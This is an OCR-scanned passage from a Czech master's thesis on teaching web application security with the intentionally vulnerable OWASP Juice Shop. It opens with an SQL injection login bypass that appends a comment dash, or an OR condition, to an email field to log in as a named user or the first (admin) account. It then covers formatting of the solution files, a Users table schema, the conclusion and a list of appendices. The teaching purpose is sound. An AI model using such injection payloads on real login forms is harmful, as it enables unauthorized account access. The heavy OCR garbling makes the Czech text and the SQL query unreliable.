Nyni, kdyE vime, jak dotaz vypads, je potfeba ho upravit tak, 2by byl vykondn korekind. Mizems
vyugit pomléky kvlobeni komentife a fim se zhytsk dotam nevvkond, jelikek se zakamenfuis,
\ takovém piipads by dotaz probihl v pofadk, ale v databizi nenadel prézdmy email

Na strénce pro lagis phidime do emailu bender@ijulce-sh.op' -, diky éemud se priblisime pod
konkrétnim utivatelem.

V' piipads, e pied pomldky viofime jedté oo, sounnebo oc, 1-1, tak upravime databézovy dotaz tak
2o vriti prvni valedek = datsbize, cof typicky byvi Géet s nejvyisim oprévninim, jslike byl do

databize vloZen jako proni.
SOL miite vypadat nisledovmi

SELECT  *  FROM  UgRhs Eoemall = ' gt LoAR - AND  Qaamped =
| 6a2BA1550AGC 2hche a2Be 5IITobcEIac’ AND delabedAk TS MULL

Po piihlizeni je timto tikol sphnén

0dkaz_na opravy_Bezpefnostni zranitelnosti 1

Obr. 46. Ukazka formatovani, feSenych tloh
V souboru jsou vloZeny hypertextové odkazy, které jsou odliSeny od zbytku textu kurzivou,
Sedou barvou a je pouzito pismo Consolas. Stejnym stylem pisma pouze bez kurzivy jsou
vyznaceny kratké uryvky kodu, upravy a parametry. Jednotlivé tlohy jsou také doplnény
o fadu obrazkt s popisy. Na konci kazdé nalezené a popsané zranitelnosti se nachazi odkaz,
ktery nas v dokumentu ptfesméruje na oSetteni dané bezpecnostni zranitelnosti. Jelikoz jedno
feSeni mize vyftesit vice loh, jsou pod ulohou vlozeny pouze odkazy a samotné fesSeni

se nachazi az pod vSemi vyfeSenymi tlohami.

Vétsi uryvky kodu v souborech jsou formatovany nasledovné, vzhled je pfevzat z nahledu,

ktery se zobrazuje pti Gpravach kodu v aplikaci Visual Studio Code.
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CREATE TABLE ‘Users® (
"id" INTEGER PRIMARY KEY AUTOINCREMENT,
"username' VARCHAR(255) DEFAULT "',
"email’ VARCHAR(255) UNIQUE,
"password’ VARCHAR(255),
"role’ VARCHAR(255) DEFAULT “customer’,
"deluxeToken' VARCHAR(255) DEFAULT '°,

"lastLoginIp' VARCHAR(255) DEFAULT '@.0.0.0°,

"profileImage’ VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg’
"totpSecret’ VARCHAR(255) DEFAULT '',

"isActive' TINYINT(1) DEFAULT 1,

"createdAt' DATETIME NOT NULL,

"updatedAt’ DATETIME NOT NULL,
"deletedAt’ DATETIME

Obr. 47. Ukazka formatovani kodu pouzita v souboru fesenych tiloh
Na obrazku vyse (Obr. 47) miZeme vidét ukazku formatovani kodu, ktery je vyuZzit
v souboru feSenych uloh. U oSetfeni zranitelnosti jsou Casto pouzity ptimo v kodu komentaie
pro lepsi ptrehlednost, které maji zelenou barvou. Jelikoz se kod umistény v komentati
nespusti, v souboru feSenych tloh jsou u oSetieni zranitelnosti casto kusy odstranéného kodu

pouze zakomentovany.

Vsechny soubory s feSenymi ulohami jsou rovnéz doplnény o seznam pouzité literatury,

ktera byla vyuzita v prubéhu feseni jednotlivych tloh v souboru.
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ZAVER

Cilem této diplomové prace bylo vytvoieni vyukovych materiali pro vyuku bezpec¢nosti
webovych aplikaci s vyuzitim aplikace OWASP Juice Shop. Byly vybrany Ctyii kategorie
bezpecnostnich zranitelnosti, které se v této aplikaci imysIné nachazeji, a pro kazdou z nich

byl vytvoten soubor s feSenim tloh tykajicich se téchto zranitelnosti.

V aplikaci Juice Shop jsou postupné objevovany jednotlivé zranitelnosti a cely postup jejich
nalezeni a zneuziti je detailn€ popsan ve vytvoirenych vyukovych materialech. Jednotlivé
feSené bezpecnostni zranitelnosti jsou rovnéz doplnény o snimky jednotlivych kroki, které

mohou vést k lepSimu pochopeni téchto zranitelnosti.

Pro tcely vyuky byl rovnéz vytvofen navod, jak zprovoznit aplikaci Juice Shop na rliznych
prostfedich. Bud'to je mozné vyuzit cloudovy server, nebo si aplikaci nainstalovat piimo
na zatizeni. V naSem ptipad¢ byly vSechny ulohy feSeny v aplikaci nainstalované na zatizeni
ze zdrojovych souborti stazenych z Gitu, jelikoz obsahuji nezkompilované zdrojové
soubory, které byly potifebné pro oSetfovani nalezenych zranitelnosti. Pro pottebu pouhého
objevovani a zneuzivdni zranitelnosti je mozné vyuzit jiz zkompilovanou aplikaci
bez zdrojovych soubord. VSechny tyto moznosti jsou popsany v pfilozeném navodu

pro instalaci a spusténi OWASP Juice Shopu.

Kazdy soubor s feSenymi tlohami je koncipovan tak, aby byl fesitel v prvnich ulohach kazdé
kategorie sezndmen se zakladnim principem dané bezpe€nostni zranitelnosti a mohl tyto

pochopit kategorii kazdé ze zranitelnosti a zplsoby jejich zneuZiti.

Resitel ma zarovenl pro doplnéni souvislosti a znalosti dostupny navod na oSetieni, tedy
zabezpecCeni, danych bezpecnostnich zranitelnosti ve zdrojovém kodu, které

jsou ve vyukovych materidlech dostupné na konci kazdé zranitelnosti.
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SEZNAM PRILOH

PI SEZNAM ELEKTRONICKYCH PRILOH
:/InstalaceJS.pdf - soubor s ndvodem instalace a spusténi Juice Shopu
:/Injection.pdf - soubor s feSenymi tlohami kategorie Injection
:/XSS.pdf - soubor s feSenymi ulohami kategorie Cross-site scripting
:/BA.pdf - soubor s feSenymi llohami kategorie Broken Authentication
:/BAC.pdf - soubor s feSenymi tlohami kategorie Broken Access Control
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PRILOHA P II: CD NOSIC

Ptilohou této prace je CD nosi¢ obsahujici navod zprovoznéni Juice Shopu a manualy
s feSenymi ulohami ve formatu pdf a kopii diplomové prace. Konkrétni obsah CD nosice je
nasledujici.

slozka prilohy — obsahuje pdf soubory s instalaci Juice Shopu a manudly s feSenymi ilohami

soubor fulltext.pdf — soubor obsahujici diplomovou praci



